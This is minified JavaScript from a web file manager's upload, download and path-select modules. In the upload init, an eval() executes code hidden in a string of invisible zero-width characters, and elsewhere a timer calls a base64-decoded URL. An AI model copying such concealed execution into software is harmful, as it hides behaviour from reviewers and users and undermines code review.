e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var 